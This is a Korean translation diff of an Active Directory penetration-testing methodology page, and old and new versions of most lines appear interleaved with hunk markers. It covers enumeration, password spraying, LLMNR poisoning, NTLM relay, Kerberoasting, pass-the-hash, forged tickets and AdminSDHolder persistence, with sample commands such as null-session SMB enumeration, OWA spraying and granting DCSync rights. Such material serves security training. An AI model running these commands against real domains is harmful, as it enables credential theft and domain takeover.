**Active Directory**의 주요 개념은 다음과 같습니다:
1. **디렉토리** – Active Directory 객체와 관련된 모든 정보를 보관합니다.
1. **디렉토리** – Active Directory 객체와 관련된 모든 정보를 저장합니다.
2. **객체** – 디렉토리 내의 엔티티를 나타내며, **사용자**, **그룹**, 또는 **공유 폴더**를 포함합니다.
3. **도메인** – 디렉토리 객체의 컨테이너 역할을 하며, 여러 도메인이 **포리스트** 내에서 공존할 수 있으며, 각 도메인은 자체 객체 모음을 유지합니다.
4. **트리** – 공통 루트 도메인을 공유하는 도메인 그룹입니다.
@ -18,11 +18,11 @@
**Active Directory Domain Services (AD DS)**는 네트워크 내에서 중앙 집중식 관리 및 통신을 위한 다양한 서비스를 포함합니다. 이러한 서비스는 다음과 같습니다:
1. **도메인 서비스** – 데이터 저장소를 중앙 집중화하고 **사용자**와 **도메인** 간의 상호작용을 관리하며, **인증** 및 **검색** 기능을 포함합니다.
1. **도메인 서비스** – 데이터 저장을 중앙 집중화하고 **사용자**와 **도메인** 간의 상호작용을 관리하며, **인증** 및 **검색** 기능을 포함합니다.
2. **인증서 서비스** – 안전한 **디지털 인증서**의 생성, 배포 및 관리를 감독합니다.
3. **경량 디렉토리 서비스** – **LDAP 프로토콜**을 통해 디렉토리 지원 애플리케이션을 지원합니다.
4. **디렉토리 연합 서비스** – 여러 웹 애플리케이션에서 단일 세션으로 사용자를 인증할 수 있는 **싱글 사인온** 기능을 제공합니다.
5. **권한 관리** – 저작권 자료를 보호하기 위해 무단 배포 및 사용을 규제합니다.
5. **권한 관리** – 저작권 자료를 보호하기 위해 무단 배포 및 사용을 규제하는 데 도움을 줍니다.
6. **DNS 서비스** – **도메인 이름**의 해석에 필수적입니다.
자세한 설명은 다음을 확인하세요: [**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory)
@ -34,18 +34,21 @@ AD를 **공격하는 방법**을 배우려면 **Kerberos 인증 프로세스**
## Cheat Sheet
[https://wadcoms.github.io/](https://wadcoms.github.io)에서 AD를 열거/악용하기 위해 실행할 수 있는 명령어를 빠르게 확인할 수 있습니다.
AD를 열거/악용하기 위해 실행할 수 있는 명령어를 빠르게 확인하려면 [https://wadcoms.github.io/](https://wadcoms.github.io)로 가세요.
> [!WARNING]
> Kerberos 통신은 작업 수행을 위해 **정확한 도메인 이름(FQDN)**을 요구합니다. IP 주소로 머신에 접근하려고 하면 **NTLM을 사용하고 Kerberos를 사용하지 않습니다**.
## Recon Active Directory (No creds/sessions)
AD 환경에 접근할 수 있지만 자격 증명/세션이 없는 경우 다음을 수행할 수 있습니다:
- **네트워크 펜테스트:**
- 네트워크를 스캔하고, 머신과 열린 포트를 찾아 **취약점을 악용**하거나 **자격 증명을 추출**하려고 시도합니다 (예: [프린터는 매우 흥미로운 대상이 될 수 있습니다](ad-information-in-printers.md)).
- 네트워크를 스캔하고 머신과 열린 포트를 찾아 **취약점을 악용**하거나 **자격 증명을 추출**하려고 시도합니다 (예: [프린터는 매우 흥미로운 대상이 될 수 있습니다](ad-information-in-printers.md)).
- DNS를 열거하면 도메인 내의 주요 서버에 대한 정보(웹, 프린터, 공유, VPN, 미디어 등)를 얻을 수 있습니다.
- `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
- 이를 수행하는 방법에 대한 더 많은 정보는 일반 [**펜테스팅 방법론**](../../generic-methodologies-and-resources/pentesting-methodology.md)을 참조하세요.
- **smb 서비스에서 null 및 Guest 접근 확인** (이 방법은 최신 Windows 버전에서는 작동하지 않습니다):
- **smb 서비스에서 null 및 Guest 접근 확인** (이것은 최신 Windows 버전에서는 작동하지 않습니다):
- `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
- `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
- `smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //`
@ -63,13 +66,13 @@ AD 환경에 접근할 수 있지만 자격 증명/세션이 없는 경우 다
../../network-services-pentesting/pentesting-ldap.md
{{#endref}}
- **네트워크 중독**
- **네트워크 오염**
- [**Responder로 서비스를 가장하여 자격 증명 수집**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
- [**릴레이 공격을 악용하여 호스트에 접근**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
- [**악성 UPnP 서비스를 노출하여 자격 증명 수집**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
- [**악성 UPnP 서비스 노출로 자격 증명 수집**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
- [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html):
- 내부 문서, 소셜 미디어, 서비스(주로 웹)에서 사용자 이름/이름을 추출하고 공개적으로 이용 가능한 자료에서도 추출합니다.
- 회사 직원의 전체 이름을 찾으면 다양한 AD **사용자 이름 규칙**을 시도해 볼 수 있습니다 (**[읽어보세요](https://activedirectorypro.com/active-directory-user-naming-convention/)**). 가장 일반적인 규칙은: _NameSurname_, _Name.Surname_, _NamSur_ (각각 3글자), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _무작위 문자와 3 무작위 숫자_ (abc123)입니다.
- 회사 직원의 전체 이름을 찾으면 다양한 AD **사용자 이름 규칙**을 시도해 볼 수 있습니다 (**[이것을 읽어보세요](https://activedirectorypro.com/active-directory-user-naming-convention/)**). 가장 일반적인 규칙은: _NameSurname_, _Name.Surname_, _NamSur_ (각각 3글자), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _무작위 문자와 3 무작위 숫자_ (abc123)입니다.
- 도구:
- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
- [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
@ -78,7 +81,7 @@ AD 환경에 접근할 수 있지만 자격 증명/세션이 없는 경우 다
- **익명 SMB/LDAP 열거:** [**펜테스팅 SMB**](../../network-services-pentesting/pentesting-smb/index.html) 및 [**펜테스팅 LDAP**](../../network-services-pentesting/pentesting-ldap.md) 페이지를 확인하세요.
- **Kerbrute 열거**: **유효하지 않은 사용자 이름이 요청되면** 서버는 **Kerberos 오류** 코드 _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_를 사용하여 응답하며, 이를 통해 사용자 이름이 유효하지 않음을 확인할 수 있습니다. **유효한 사용자 이름**은 **AS-REP** 응답에서 **TGT**를 유도하거나 _KRB5KDC_ERR_PREAUTH_REQUIRED_ 오류를 유도하여 사용자가 사전 인증을 수행해야 함을 나타냅니다.
- **MS-NRPC에 대한 인증 없음**: 도메인 컨트롤러의 MS-NRPC (Netlogon) 인터페이스에 대해 auth-level = 1 (인증 없음)을 사용합니다. 이 방법은 MS-NRPC 인터페이스에 바인딩한 후 `DsrGetDcNameEx2` 함수를 호출하여 자격 증명 없이 사용자 또는 컴퓨터가 존재하는지 확인합니다. [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) 도구는 이러한 유형의 열거를 구현합니다. 연구 결과는 [여기](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf)에서 확인할 수 있습니다.
- **MS-NRPC에 대한 인증 없음**: 도메인 컨트롤러의 MS-NRPC(넷로곤) 인터페이스에 대해 auth-level = 1 (인증 없음)을 사용합니다. 이 방법은 MS-NRPC 인터페이스에 바인딩한 후 `DsrGetDcNameEx2` 함수를 호출하여 자격 증명 없이 사용자 또는 컴퓨터가 존재하는지 확인합니다. [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) 도구는 이러한 유형의 열거를 구현합니다. 연구 결과는 [여기](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf)에서 확인할 수 있습니다.
```bash
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
@ -105,16 +108,16 @@ Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summe
Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt
```
> [!WARNING]
> 사용자 이름 목록은 [**이 github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) \*\*\*\* 및 이곳 ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames))에서 찾을 수 있습니다.
> 사용자 이름 목록은 [**이 github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names)와 이곳 ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames))에서 찾을 수 있습니다.
>
> 그러나 이 전에 수행했어야 할 정찰 단계에서 **회사의 직원 이름**을 알고 있어야 합니다. 이름과 성을 가지고 [**namemash.py**](https://gist.github.com/superkojiman/11076951) 스크립트를 사용하여 잠재적인 유효 사용자 이름을 생성할 수 있습니다.
> 그러나, 이 전에 수행했어야 할 정찰 단계에서 **회사의 직원 이름**을 알고 있어야 합니다. 이름과 성이 있으면 [**namemash.py**](https://gist.github.com/superkojiman/11076951) 스크립트를 사용하여 잠재적인 유효 사용자 이름을 생성할 수 있습니다.
### 하나 이상의 사용자 이름 알기
좋습니다, 유효한 사용자 이름이 있지만 비밀번호가 없는 경우... 그러면 시도해 보세요:
좋습니다, 유효한 사용자 이름이 있지만 비밀번호가 없다면... 다음을 시도해 보세요:
- [**ASREPRoast**](asreproast.md): 사용자가 _DONT_REQ_PREAUTH_ 속성이 **없다면**, 해당 사용자에 대한 **AS_REP 메시지를 요청**할 수 있으며, 이 메시지는 사용자의 비밀번호 파생으로 암호화된 일부 데이터를 포함합니다.
- [**Password Spraying**](password-spraying.md): 발견된 각 사용자에 대해 가장 **일반적인 비밀번호**를 시도해 보세요. 아마도 어떤 사용자가 나쁜 비밀번호를 사용하고 있을 것입니다 (비밀번호 정책을 염두에 두세요!).
- [**ASREPRoast**](asreproast.md): 사용자가 _DONT_REQ_PREAUTH_ 속성이 **없다면**, 해당 사용자에 대한 **AS_REP 메시지를 요청**할 수 있으며, 이 메시지는 사용자의 비밀번호 파생으로 암호화된 데이터를 포함합니다.
- [**Password Spraying**](password-spraying.md): 발견된 각 사용자에 대해 가장 **일반적인 비밀번호**를 시도해 보세요. 어떤 사용자가 나쁜 비밀번호를 사용하고 있을 수 있습니다(비밀번호 정책을 염두에 두세요!).
- OWA 서버를 **스프레이**하여 사용자 메일 서버에 접근을 시도할 수도 있습니다.
{{#ref}}
@ -123,7 +126,7 @@ password-spraying.md
### LLMNR/NBT-NS 중독
네트워크의 **프로토콜을 중독**하여 **해시**를 **획득**할 수 있을지도 모릅니다:
네트워크의 **프로토콜을 중독**하여 **해시**를 **획득**할 수 있습니다:
{{#ref}}
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
@ -131,11 +134,11 @@ password-spraying.md
### NTLM 릴레이
액티브 디렉토리를 열거하는 데 성공했다면 **더 많은 이메일과 네트워크에 대한 더 나은 이해**를 갖게 될 것입니다. NTLM [**릴레이 공격**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\*을 강제로 수행하여 AD 환경에 접근할 수 있을지도 모릅니다.
액티브 디렉토리를 열거하는 데 성공했다면, **더 많은 이메일과 네트워크에 대한 더 나은 이해**를 갖게 될 것입니다. NTLM [**릴레이 공격**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)을 강제로 수행하여 AD 환경에 접근할 수 있습니다.
### NTLM 자격 증명 훔치기
**null 또는 guest 사용자**로 다른 PC나 공유에 **접근**할 수 있다면, **파일을 배치**할 수 있습니다 (예: SCF 파일). 이 파일이 접근되면 **당신에 대한 NTLM 인증을 트리거**하여 **NTLM 챌린지를 훔칠 수 있습니다**:
**null 또는 guest 사용자**로 다른 PC나 공유에 **접근**할 수 있다면, **파일을 배치**할 수 있습니다(예: SCF 파일). 이 파일이 접근되면 **당신에 대한 NTLM 인증을 트리거**하여 **NTLM 챌린지를 훔칠 수 있습니다**:
{{#ref}}
../ntlm/places-to-steal-ntlm-creds.md
@ -155,31 +158,31 @@ kerberos-double-hop-problem.md
계정을 손상시키는 것은 **전체 도메인을 손상시키기 위한 큰 단계**입니다. 이제 **액티브 디렉토리 열거**를 시작할 수 있습니다:
[**ASREPRoast**](asreproast.md)와 관련하여 이제 모든 가능한 취약한 사용자를 찾을 수 있으며, [**Password Spraying**](password-spraying.md)와 관련하여 손상된 계정의 비밀번호, 빈 비밀번호 및 새로운 유망한 비밀번호를 시도할 수 있습니다.
[**ASREPRoast**](asreproast.md)와 관련하여, 이제 모든 가능한 취약한 사용자를 찾을 수 있으며, [**Password Spraying**](password-spraying.md)와 관련하여 손상된 계정의 비밀번호, 빈 비밀번호 및 새로운 유망한 비밀번호를 시도할 수 있습니다.
- [**CMD를 사용하여 기본 정찰 수행**](../basic-cmd-for-pentesters.md#domain-info)
- [**powershell을 사용하여 정찰**](../basic-powershell-for-pentesters/index.html)할 수도 있으며, 이는 더 은밀합니다.
- [**powerview 사용**](../basic-powershell-for-pentesters/powerview.md)하여 더 자세한 정보를 추출할 수 있습니다.
- 액티브 디렉토리에서 정찰을 위한 또 다른 훌륭한 도구는 [**BloodHound**](bloodhound.md)입니다. 이는 **그리 은밀하지 않습니다** (사용하는 수집 방법에 따라 다름), 그러나 **그것에 대해 신경 쓰지 않는다면** 꼭 시도해 보세요. 사용자가 RDP할 수 있는 위치를 찾고, 다른 그룹으로 가는 경로를 찾는 등.
- 액티브 디렉토리에서 정찰을 위한 또 다른 훌륭한 도구는 [**BloodHound**](bloodhound.md)입니다. 이는 **그리 은밀하지는 않지만**(사용하는 수집 방법에 따라 다름), **그것에 대해 신경 쓰지 않는다면** 꼭 시도해 보세요. 사용자가 RDP할 수 있는 위치, 다른 그룹으로의 경로 등을 찾을 수 있습니다.
- **기타 자동화된 AD 열거 도구는:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
- [**AD의 DNS 레코드**](ad-dns-records.md)도 흥미로운 정보를 포함할 수 있습니다.
- 디렉토리를 열거하는 데 사용할 수 있는 **GUI 도구**는 **SysInternal** Suite의 **AdExplorer.exe**입니다.
- **ldapsearch**를 사용하여 LDAP 데이터베이스에서 _userPassword_ 및 _unixUserPassword_ 필드에서 자격 증명을 찾거나, 심지어 _Description_을 검색할 수 있습니다. cf. [PayloadsAllTheThings의 AD 사용자 주석에서 비밀번호](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment)에서 다른 방법을 확인하세요.
- **Linux**를 사용하는 경우, [**pywerview**](https://github.com/the-useless-one/pywerview)를 사용하여 도메인을 열거할 수도 있습니다.
- 자동화 도구를 시도할 수도 있습니다:
- **ldapsearch**를 사용하여 LDAP 데이터베이스에서 _userPassword_ 및 _unixUserPassword_ 필드에서 자격 증명을 찾거나 _Description_을 검색할 수 있습니다. cf. [PayloadsAllTheThings의 AD 사용자 주석에서 비밀번호](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment)에서 다른 방법을 확인하세요.
- **Linux**를 사용하는 경우, [**pywerview**](https://github.com/the-useless-one/pywerview)를 사용하여 도메인을 열거할 수 있습니다.
- 자동화 도구로는:
- [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
- [**61106960/adPEAS**](https://github.com/61106960/adPEAS)
- **모든 도메인 사용자 추출하기**
Windows에서 도메인 사용자 이름을 얻는 것은 매우 쉽습니다 (`net user /domain`, `Get-DomainUser` 또는 `wmic useraccount get name,sid`). Linux에서는 다음을 사용할 수 있습니다: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` 또는 `enum4linux -a -u "user" -p "password" <DC IP>`
Windows에서 도메인 사용자 이름을 얻는 것은 매우 쉽습니다(`net user /domain`, `Get-DomainUser` 또는 `wmic useraccount get name,sid`). Linux에서는 `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` 또는 `enum4linux -a -u "user" -p "password" <DC IP>`를 사용할 수 있습니다.
> 이 열거 섹션이 작아 보일지라도, 이는 모든 것 중에서 가장 중요한 부분입니다. 링크를 확인하세요 (주로 cmd, powershell, powerview 및 BloodHound 링크), 도메인을 열거하는 방법을 배우고 편안해질 때까지 연습하세요. 평가 중에는 DA로 가는 길을 찾거나 아무것도 할 수 없다는 결정을 내리는 중요한 순간이 될 것입니다.
> 이 열거 섹션이 작아 보일 수 있지만, 이는 모든 것 중에서 가장 중요한 부분입니다. 링크를 확인하세요(주로 cmd, powershell, powerview 및 BloodHound 링크), 도메인을 열거하는 방법을 배우고 편안해질 때까지 연습하세요. 평가 중에는 DA로 가는 길을 찾거나 아무것도 할 수 없다고 결정하는 중요한 순간이 될 것입니다.
### Kerberoast
Kerberoasting은 사용자 계정에 연결된 서비스에서 사용되는 **TGS 티켓**을 얻고, 그 암호화를 크랙하는 것을 포함합니다—이는 사용자 비밀번호를 기반으로 하며—**오프라인**에서 이루어집니다.
자세한 내용은 다음을 참조하세요:
자세한 내용은:
{{#ref}}
kerberoast.md
@ -191,13 +194,13 @@ kerberoast.md
### 로컬 권한 상승
정상 도메인 사용자로서 자격 증명이나 세션을 손상시켰고, 이 사용자로 **도메인 내의 어떤 머신에도 접근**할 수 있다면, **로컬에서 권한을 상승시키고 자격 증명을 찾는 방법을 찾아야 합니다**. 이는 로컬 관리자 권한이 있어야만 **다른 사용자의 해시를 메모리(LSASS)와 로컬(SAM)에서 덤프할 수 있기 때문입니다.**
정상 도메인 사용자로서 자격 증명이나 세션을 손상시키고, 이 사용자로 **도메인 내의 어떤 머신에 접근**할 수 있다면, **로컬에서 권한을 상승시키고 자격 증명을 찾는 방법을 찾아야 합니다.** 이는 로컬 관리자 권한이 있어야만 **다른 사용자의 해시를 메모리(LSASS)와 로컬(SAM)에서 덤프할 수 있기 때문입니다.**
이 책에는 [**Windows에서의 로컬 권한 상승**](../windows-local-privilege-escalation/index.html)에 대한 완전한 페이지와 [**체크리스트**](../checklist-windows-privilege-escalation.md)가 있습니다. 또한, [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)를 사용하는 것을 잊지 마세요.
### 현재 세션 티켓
현재 사용자에게 **예상치 못한 리소스에 접근할 수 있는 권한을 주는** **티켓**을 찾는 것은 매우 **가능성이 낮습니다**, 하지만 확인해 볼 수 있습니다:
현재 사용자에게 **예상치 못한 리소스에 접근할 수 있는 권한을 주는** **티켓**을 찾는 것은 매우 **가능성이 낮지만**, 확인해 볼 수 있습니다:
```bash
## List all tickets (if not admin, only current user tickets)
.\Rubeus.exe triage
@ -209,15 +212,15 @@ kerberoast.md
활성 디렉토리를 열거하는 데 성공했다면 **더 많은 이메일과 네트워크에 대한 더 나은 이해**를 갖게 될 것입니다. NTLM [**릴레이 공격**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**을 강제할 수 있을지도 모릅니다.**
### **컴퓨터 공유에서 자격 증명 찾기**
### 컴퓨터 공유에서 자격 증명 찾기 | SMB 공유
기본 자격 증명을 몇 개 확보했으니 **AD 내부에서 공유되고 있는 흥미로운 파일을 찾을 수 있는지 확인해야 합니다.** 수동으로 할 수 있지만 매우 지루하고 반복적인 작업입니다(수백 개의 문서를 확인해야 하는 경우 더더욱).
기본 자격 증명을 얻었으니 **AD 내부에서 공유되고 있는 흥미로운 파일을 찾을 수 있는지 확인해야 합니다**. 수동으로 할 수 있지만 매우 지루하고 반복적인 작업입니다(수백 개의 문서를 확인해야 하는 경우 더더욱).
[**사용할 수 있는 도구에 대해 알아보려면 이 링크를 따르세요.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)
### NTLM 자격 증명 훔치기
다른 PC나 공유에 **접근할 수 있다면** (SCF 파일과 같은) **파일을 배치**할 수 있습니다. 이 파일이 접근되면 **당신에 대한 NTLM 인증을 트리거**하여 **NTLM 챌린지를 훔쳐서 크랙할 수 있습니다.**
다른 PC나 공유에 **접근할 수 있다면**, **파일을 배치**할 수 있습니다(예: SCF 파일). 이 파일이 어떤 방식으로든 접근되면 **당신에 대한 NTLM 인증을 트리거**하여 **NTLM 챌린지를 훔쳐서 크랙할 수 있습니다**:
{{#ref}}
../ntlm/places-to-steal-ntlm-creds.md
@ -237,19 +240,19 @@ printnightmare.md
### 해시 추출
운 좋게도 [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) 포함하여 릴레이, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [로컬에서 권한 상승](../windows-local-privilege-escalation/index.html) 등을 통해 **로컬 관리자** 계정을 **손상시키는 데 성공했기를 바랍니다.**\
운 좋게도 [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) 포함하여 릴레이, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [로컬에서 권한 상승](../windows-local-privilege-escalation/index.html) 등을 통해 **로컬 관리자** 계정을 **손상시킬 수 있었다면**.\
그런 다음, 메모리와 로컬에서 모든 해시를 덤프할 시간입니다.\
[**해시를 얻는 다양한 방법에 대한 이 페이지를 읽어보세요.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
### 해시 전달
**사용자의 해시를 확보하면**, 이를 사용하여 **사용자를 가장할 수 있습니다.**\
해시를 사용하여 **NTLM 인증을 수행하는** **도구**를 사용해야 하며, **또는** 새로운 **sessionlogon**을 생성하고 **LSASS** 내부에 그 **해시를 주입**할 수 있습니다. 그러면 **NTLM 인증이 수행될 때** 그 **해시가 사용됩니다.** 마지막 옵션이 mimikatz가 하는 일입니다.\
**사용자의 해시를 얻으면**, 이를 사용하여 **사용자를 가장할 수 있습니다**.\
해시를 사용하여 **NTLM 인증을 수행하는** **도구**를 사용해야 하며, **또는** 새로운 **sessionlogon**을 생성하고 **LSASS** 내부에 그 **해시를 주입**할 수 있습니다. 그러면 **NTLM 인증이 수행될 때** 그 **해시가 사용됩니다**. 마지막 옵션이 mimikatz가 하는 것입니다.\
[**자세한 정보는 이 페이지를 읽어보세요.**](../ntlm/index.html#pass-the-hash)
### 해시 초과/키 전달
### 해시 우회/키 전달
이 공격은 **사용자 NTLM 해시를 사용하여 Kerberos 티켓을 요청하는** 것을 목표로 하며, 일반적인 NTLM 프로토콜을 통한 해시 전달의 대안입니다. 따라서, NTLM 프로토콜이 비활성화되고 **Kerberos만 인증 프로토콜로 허용되는 네트워크에서 특히 유용할 수 있습니다.**
이 공격은 **사용자 NTLM 해시를 사용하여 Kerberos 티켓을 요청하는 것**을 목표로 하며, 일반적인 NTLM 프로토콜을 통한 해시 전달의 대안입니다. 따라서, NTLM 프로토콜이 비활성화되고 **Kerberos만 인증 프로토콜로 허용되는 네트워크에서 특히 유용할 수 있습니다**.
{{#ref}}
over-pass-the-hash-pass-the-key.md
@ -257,7 +260,7 @@ over-pass-the-hash-pass-the-key.md
### 티켓 전달
**티켓 전달(PTT)** 공격 방법에서 공격자는 **사용자의 인증 티켓을 훔칩니다**. 이 훔친 티켓은 **사용자를 가장하는 데 사용되어** 네트워크 내의 리소스와 서비스에 대한 무단 접근을 얻습니다.
**티켓 전달(PTT)** 공격 방법에서 공격자는 **사용자의 인증 티켓을 훔칩니다**. 이 훔친 티켓은 **사용자를 가장하는 데 사용되어**, 네트워크 내의 리소스와 서비스에 대한 무단 접근을 얻습니다.
{{#ref}}
pass-the-ticket.md
@ -338,7 +341,7 @@ rdp-sessions-abuse.md
### LAPS
**LAPS**는 도메인에 가입된 컴퓨터에서 **로컬 관리자 비밀번호**를 관리하는 시스템을 제공하여, 비밀번호가 **무작위화**, 고유하며 자주 **변경**되도록 보장합니다. 이러한 비밀번호는 Active Directory에 저장되며, ACL을 통해 권한이 있는 사용자만 접근할 수 있습니다. 이러한 비밀번호에 접근할 수 있는 충분한 권한이 있다면, 다른 컴퓨터로 피벗하는 것이 가능합니다.
**LAPS**는 도메인에 가입된 컴퓨터에서 **로컬 관리자 비밀번호**를 관리하는 시스템을 제공하여, 비밀번호가 **무작위화**, 고유하며 자주 **변경**되도록 보장합니다. 이러한 비밀번호는 Active Directory에 저장되며, ACL을 통해 권한이 있는 사용자만 접근할 수 있습니다. 이러한 비밀번호에 접근할 수 있는 충분한 권한이 있다면, 다른 컴퓨터로 피벗하는 것이 가능해집니다.
{{#ref}}
laps.md
@ -377,25 +380,25 @@ ad-certificates/domain-escalation.md
- 사용자를 [**Kerberoast**](kerberoast.md)에 취약하게 만들기
```powershell
```bash
Set-DomainObject -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}r
```
- 사용자를 [**ASREPRoast**](asreproast.md)에 취약하게 만들기
```powershell
```bash
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
```
- 사용자에게 [**DCSync**](#dcsync) 권한 부여하기
```powershell
```bash
Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity bfarmer -Rights DCSync
```
### 실버 티켓
**실버 티켓 공격**은 **NTLM 해시**를 사용하여 특정 서비스에 대한 **정당한 티켓 부여 서비스(TGS) 티켓**을 생성합니다 (예: **PC 계정의 해시**). 이 방법은 **서비스 권한에 접근하기 위해** 사용됩니다.
**실버 티켓 공격**은 특정 서비스에 대한 **정당한 티켓 부여 서비스 (TGS) 티켓**을 **NTLM 해시**를 사용하여 생성합니다 (예: **PC 계정의 해시**). 이 방법은 **서비스 권한에 접근하기 위해** 사용됩니다.
{{#ref}}
silver-ticket.md
@ -403,7 +406,7 @@ silver-ticket.md
### 골든 티켓
**골든 티켓 공격**은 공격자가 Active Directory (AD) 환경에서 **krbtgt 계정의 NTLM 해시**에 접근하는 것을 포함합니다. 이 계정은 모든 **티켓 부여 티켓(TGT)**에 서명하는 데 사용되기 때문에 특별합니다. 이는 AD 네트워크 내에서 인증하는 데 필수적입니다.
**골든 티켓 공격**은 공격자가 Active Directory (AD) 환경에서 **krbtgt 계정의 NTLM 해시**에 접근하는 것을 포함합니다. 이 계정은 모든 **티켓 부여 티켓 (TGT)**에 서명하는 데 사용되기 때문에 특별합니다. 이는 AD 네트워크 내에서 인증하는 데 필수적입니다.
공격자가 이 해시를 얻으면, 그들이 선택한 모든 계정에 대한 **TGT**를 생성할 수 있습니다 (실버 티켓 공격).
@ -413,7 +416,7 @@ golden-ticket.md
### 다이아몬드 티켓
이들은 일반적인 골든 티켓 탐지 메커니즘을 **우회하는 방식으로 위조된** 골든 티켓과 같습니다.
이들은 일반적인 골든 티켓 탐지 메커니즘을 **우회하는 방식으로 위조된 골든 티켓**과 같습니다.
{{#ref}}
diamond-ticket.md
@ -437,13 +440,13 @@ ad-certificates/domain-persistence.md
### AdminSDHolder 그룹
Active Directory의 **AdminSDHolder** 객체는 **특권 그룹**(예: 도메인 관리자 및 엔터프라이즈 관리자)의 보안을 보장하기 위해 이러한 그룹에 표준 **액세스 제어 목록(ACL)**을 적용하여 무단 변경을 방지합니다. 그러나 이 기능은 악용될 수 있습니다. 공격자가 AdminSDHolder의 ACL을 수정하여 일반 사용자에게 전체 액세스를 부여하면, 해당 사용자는 모든 특권 그룹에 대한 광범위한 제어를 얻게 됩니다. 이 보안 조치는 보호를 위한 것이지만, 면밀히 모니터링되지 않으면 불필요한 접근을 허용할 수 있습니다.
Active Directory의 **AdminSDHolder** 객체는 **특권 그룹**(예: 도메인 관리자 및 엔터프라이즈 관리자)의 보안을 보장하기 위해 이러한 그룹에 표준 **액세스 제어 목록 (ACL)**을 적용하여 무단 변경을 방지합니다. 그러나 이 기능은 악용될 수 있습니다. 공격자가 AdminSDHolder의 ACL을 수정하여 일반 사용자에게 전체 액세스를 부여하면, 해당 사용자는 모든 특권 그룹에 대한 광범위한 제어를 얻게 됩니다. 이 보안 조치는 보호를 위한 것이지만, 면밀히 모니터링되지 않으면 불필요한 접근을 허용할 수 있습니다.
[**AdminDSHolder 그룹에 대한 더 많은 정보는 여기에서 확인할 수 있습니다.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
[**AdminDSHolder 그룹에 대한 더 많은 정보는 여기에서 찾을 수 있습니다.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
